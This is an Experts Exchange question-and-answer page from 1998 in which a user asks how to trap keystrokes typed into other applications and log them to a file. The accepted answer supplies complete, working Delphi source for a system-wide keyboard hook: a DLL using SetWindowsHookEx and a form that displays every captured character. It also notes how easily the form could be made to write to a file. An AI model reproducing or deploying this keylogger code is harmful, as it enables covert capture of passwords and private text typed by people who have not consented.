?
Solved

Keyboard grabber in other applications

Posted on 1998-03-07
3
Medium Priority
?
282 Views
Last Modified: 2010-05-18
How can I trap keys pressed in others applications and write to a file?
0
Comment
Question by:narabe
[X]
Welcome to Experts Exchange

Add your voice to the tech community where 5M+ people just like you are talking about what matters.

  • Help others & share knowledge
  • Earn cash & points
  • Learn & ask questions
3 Comments
 
LVL 5

Expert Comment

by:ronit051397
ID: 1360247
I think it has something to do with Hooking.
0
 
LVL 4

Accepted Solution

by:
d003303 earned 300 total points
ID: 1360248
Yo,

like ronit said, you have to use hooks. Here is a sample code that traps all characters that are generated from the keyboard (systemwide).
The first listing is a DLL source (hook procedures have to resist in a DLL), the second is a sample application that displays all chars in a TMemo. You can easily change it to write to a file.
I have commented nearly everything, so you should understand what the whole thing is doing.

///////////////////////////////
// hook library

// to be hooktest.dpr
library hooktest;

uses
  Windows,
  Messages;

// because the DLL is mapped in each process space the hook event originates,
// it is instanciated for each such process. All global variables for all
// instances are independent. So we cannot init the DLL and set parameters on
// runtime to communicate with the host application. Therefore we use constants.
//
// MainAppClassName is used by the hook procedure to send the catched char to
// the host application. MainAppClassName is equivalent to the class name of
// the TWinControl descendant instance that carries the message handler.
//
// MainAppMessageNumber defines the message number that is sent to the host
// application. It should be wm_User + n. MainAppMessageID is just to make
// sure the message is sent from the hook procedure, because wm_User + n
// can be used by anyone. Can be any value you like.
//
// If you change any of these values, DO NOT FORGET to change them also in
// the host application !!!

const
  MainAppClassName     = 'TSpyKeyHookWnd';
  MainAppMessageNumber = wm_User + 1;
  MainAppMessageID     = 123;

// these variables have to be in the DLL
// because the keyboard state depends on
// the process space. The DLL is mapped
//
// originates.
// For performance reasons, this variables
// are global.

var
  KeyState : TKeyboardState;
  CharCode : LPARAM;

function KeyHookProc(nCode: integer; wp: WPARAM; lp: LPARAM): LRESULT; stdcall;
begin
  // we shall to this refering to the Win32API documentation
  if(nCode < 0) then
   begin
     Result := CallNextHookEx(0, nCode, wp, lp);
   end
  else
   // here we go
   begin
     // we only react on a global KEYDOWN event, check bit 32 in lParam
     // otherwise a message will be sent when a key is pressed and
     // a second time when the key is released
     if (lp and (1 shl 31)) = 0 then
      begin
        // clean old value
        CharCode := 0;
        // get keyboard state (shift, shift lock, etc.)
        GetKeyboardState(KeyState);
        // if this function returns 0, no character is translated
        // e.g. when ALT or SHIFT is pressed. We only accept non-dead keys.
        // if 2 is returned, we have a multibyte system. I will not
        // support it here.
        if ToASCII(wp, HiWord(lp), KeyState, @CharCode, 0) = 1
         // send a message containing the translated char in lParam.
         // see the comment on top of the project for a description
         // on this function
         then PostMessage(FindWindow(MainAppClassName, nil), MainAppMessageNumber, MainAppMessageID, CharCode);
      end;
     // we shall to this refering to the Win32API documentation
     Result := CallNextHookEx(0, nCode, wp, lp);
   end;
end;

exports
  KeyHookProc;

begin
end.

///////////////////////////////
// demo application

// to be hookexe.dpr
program hookexe;

uses
  Forms,
  _hookexe in '_hookexe.pas' {SpyKeyHookWnd};

{$R *.RES}

begin
  Application.Initialize;
  Application.CreateForm(TSpyKeyHookWnd, SpyKeyHookWnd);
  Application.Run;
end.

// to be _hookexe.pas
unit _hookexe;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  ComCtrls, StdCtrls;

// KeyHookDllName is the name of the DLL containing the hook procedure.
// Equivalent to the DLLs project name.
//
// KeyHookProc is the name of the hook procedure in the DLL.
//
// MainAppMessageNumber and MainAppMessageID -> See DLL source code.

const
  KeyHookDllName       = 'hooktest.dll';
  HookProcName         = 'KeyHookProc';
  MainAppMessageNumber = wm_User + 1;
  MainAppMessageID     = 123;

type
  TSpyKeyHookWnd = class(TForm)
    StatusBar1: TStatusBar;
    Memo1: TMemo;
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
  private
    { Private declarations }
    LibHandle,
    HHookProc : THandle;
    HookProc  : function(nCode: integer; wp: WPARAM; lp: LPARAM): LRESULT; stdcall;
    // this is the handler for the MainAppMessageNumber message
    procedure WMUser_KeyPressedGlobal(var Message : TMessage); message MainAppMessageNumber;
  public
    { Public declarations }
  end;

var
  SpyKeyHookWnd: TSpyKeyHookWnd;

implementation

{$R *.DFM}

procedure TSpyKeyHookWnd.WMUser_KeyPressedGlobal(var Message : TMessage);
var KeyBuf : array[0..1] of Char;
begin
  // check if message is sent from DLL
  if Message.wParam = MainAppMessageID then
   begin
     // clean structure
     FillChar(KeyBuf[0], 2, 0);
     // translate character from lParam
     KeyBuf[0] := Chr(LoByte(LoWord(Message.lParam)));
     // put it into the memo
     Memo1.SetSelTextBuf(KeyBuf);
   end;
end;

procedure TSpyKeyHookWnd.FormCreate(Sender: TObject);
var DllName : string;
begin
  // get full qualified path to the DLL, assuming it is in the
  // same directory as the host application
  DllName := ExtractFilePath(Application.ExeName) + KeyHookDllName;
  // load DLL
  LibHandle := LoadLibrary(PChar(DllName));
  if LibHandle <> 0 then
   begin
     // find hook procedure address
     @HookProc := GetProcAddress(LibHandle, HookProcName);
     if @HookProc <> nil
      // insert the hook procedure into the systems hook chain
      then HHookProc := SetWindowsHookEx(WH_KEYBOARD, HookProc, LibHandle, 0)
      else Application.MessageBox('Failed to get HookProc address', 'Error', mb_ok);
   end
  else Application.MessageBox('Failed to load DLL', 'Error', mb_ok);
end;

procedure TSpyKeyHookWnd.FormDestroy(Sender: TObject);
begin
  if LibHandle <> 0 then
   begin
     if HHookProc <> 0
      // remove the hook procedure from the systems hook chain
      then UnhookWindowsHookEx(HHookProc);
     // unload DLL
     FreeLibrary(LibHandle);
   end;
end;

end.

// to be hookexe.dfm
object SpyKeyHookWnd: TSpyKeyHookWnd
  Left = 208
  Top = 113
  Width = 325
  Height = 195
  Caption = 'Systemwide Keystrokes - here they are'
  Font.Charset = DEFAULT_CHARSET
  Font.Color = clWindowText
  Font.Height = -11
  Font.Name = 'MS Sans Serif'
  Font.Style = []
  OnCreate = FormCreate
  OnDestroy = FormDestroy
  PixelsPerInch = 96
  TextHeight = 13
  object Memo1: TMemo
    Left = 0
    Top = 0
    Width = 317
    Height = 168
    Align = alClient
    ReadOnly = True
    TabOrder = 0
  end
end

///////////////////////

Have fun,
Slash/d003303
0
 
LVL 7

Expert Comment

by:ahalya
ID: 1360249
Slash/d003303,

Beautiful !

0

Featured Post

Free Tool: IP Lookup

Get more info about an IP address or domain name, such as organization, abuse contacts and geolocation.

One of a set of tools we are providing to everyone as a way of saying thank you for being a part of the community.

Question has a verified solution.

If you are experiencing a similar issue, please ask a related question

Creating an auto free TStringList The TStringList is a basic and frequently used object in Delphi. On many occasions, you may want to create a temporary list, process some items in the list and be done with the list. In such cases, you have to…
Introduction Raise your hands if you were as upset with FireMonkey as I was when I discovered that there was no TListview.  I use TListView in almost all of my applications I've written, and I was not going to compromise by resorting to TStringGrid…
In this brief tutorial Pawel from AdRem Software explains how you can quickly find out which services are running on your network, or what are the IP addresses of servers responsible for each service. Software used is freeware NetCrunch Tools (https…
How to fix incompatible JVM issue while installing Eclipse While installing Eclipse in windows, got one error like above and unable to proceed with the installation. This video describes how to successfully install Eclipse. How to solve incompa…
Suggested Courses

752 members asked questions and received personalized solutions in the past 7 days.

Join the community of 500,000 technology professionals and ask your questions.

Join & Ask a Question